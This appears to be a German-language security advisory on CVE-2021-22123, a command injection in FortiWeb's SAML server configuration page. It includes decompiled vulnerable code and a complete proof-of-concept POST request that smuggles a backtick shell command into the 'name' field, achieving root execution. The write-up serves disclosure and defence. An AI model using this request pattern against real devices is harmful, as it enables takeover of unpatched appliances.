
[CVE-2021-22123] Fortinet FortiWeb Authentifizierte OS-Befehlseinschleusung
[CVE-2021-22123] Fortinet FortiWeb Authentifizierte OS-Befehlseinschleusung
Hit Counter
Die Schwachstelle zur Befehlseinschleusung in der FortiWeb-Verwaltungsoberfläche könnte einem authentifizierten entfernten Angreifer ermöglichen, über die SAML-Serverkonfigurationsseite beliebige Befehle im System auszuführen. Die Ausführung von Befehlen mit maximalen Berechtigungen führt dazu, dass der Angreifer die vollständige Kontrolle über den Server erlangt. Dies ist ein Beispiel für CWE-78: Unzulässige Neutralisierung spezieller Elemente in einem OS-Befehl und hat einen CVSSv3-Basiswert von 8.7. Diese Schwachstelle trägt die Nummer CVE-2021-22123, die auf der Fortiguard Lab-Seite (FG-IR-20-120) behandelt wurde.
Im Wesentlichen steht SAML für Security Assertion Markup Language und ist ein XML-basierter offener Standard zur Übertragung von Identitätsdaten zwischen zwei Parteien: einem Identitätsanbieter (IdP) und einem Dienstanbieter (SP). Es wurde entwickelt, um den Betrieb eines Single-Sign-On-Mechanismus zu gewährleisten, der den Zugriff auf verschiedene Softwareprodukte mit einer einzigen Kennung ermöglicht.
FortiWeb alle Versionen vor 6.3.7 und darunter sind anfällig für authentifizierte OS-Befehlseinschleusung. Eine erfolgreiche Ausnutzung dieser Schwachstelle kann zur vollständigen Kontrolle über das betroffene Gerät mit den höchstmöglichen Berechtigungen führen. Der Angreifer könnte eine persistente Shell, Krypto-Mining-Software oder andere schädliche Software installieren. Im unwahrscheinlichen Fall, dass die Verwaltungsoberfläche dem Internet ausgesetzt ist, könnte der Angreifer die kompromittierte Plattform nutzen, um in das betroffene Netzwerk jenseits der DMZ zu gelangen.
Ein Angreifer, der zunächst an der Verwaltungsoberfläche des FortiWeb-Geräts authentifiziert ist, kann mithilfe von Backticks im name-Feld der SAML-Serverkonfigurationsseite Befehle einschmuggeln. Diese Befehle werden dann als root-Benutzer des zugrunde liegenden Betriebssystems ausgeführt. Der anfällige Teil des Codes wird unten dargestellt.
int move_metafile(char * path, char * name) {
int iVar1;
char buf[512];
int nret;
snprintf(buf, 0x200, "%s/%s", "/data/etc/saml/shibboleth/service_providers", name);
iVar1 = access(buf, 0);
if (iVar1 != 0) {
snprintf(buf, 0x200, "mkdir %s/%s", "/data/etc/saml/shibboleth/service_providers", name);
iVar1 = system(buf);
if (iVar1 != 0) {
return iVar1;
}
}
snprintf(buf, 0x200, "cp %s %s/%s/%s.%s", path, "/data/etc/saml/shibboleth/service_providers", name,
"Metadata", & DAT_00212758);
iVar1 = system(buf);
return iVar1;
}
Konzeptnachweis (PoC): Die folgende POST-Anfrage kann verwendet werden, um diese Schwachstelle auszunutzen.
POST /api/v2.0/user/remoteserver.saml HTTP/1.1
Host: vulnerablehost
Cookie: redacted
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://vulnerablehost/root/user/remote-user/saml-user/
X-Csrftoken: 814940160
Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
Content-Length: 3068
Origin: https://vulnerablehost
Dnt: 1
Te: trailers
Connection: close
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="q_type"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="name"
`touch /tmp/CVE-2021-22123`
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="entityID"
test
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="service-path"
/saml.sso
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-lifetime"
8
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-timeout"
30
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-path"
/SAML2/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-path"
/SLO/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="flag"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing"
disable
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing_val"
0
-----------------------------94351131111899571381631694412
HTTP/1.1 500 Internal Server Error
Date: Thu, 18 Aug 2021 15:47:45 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Set-Cookie: redacted
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
Content-Length: 20
Strict-Transport-Security: max-age=63072000
Connection: close
Content-Type: application/json
{"errcode": "-651"}
Schließlich können die Ergebnisse des 'touch'-Befehls in der lokalen Befehlszeile des FortiWeb-Geräts angezeigt werden
/# ls -l /tmp/CVE-2021-22123
-rw-r--r-- 1 root 0 0 Aug 10 15:48 /tmp/CVE-2021-22123
Referenzen: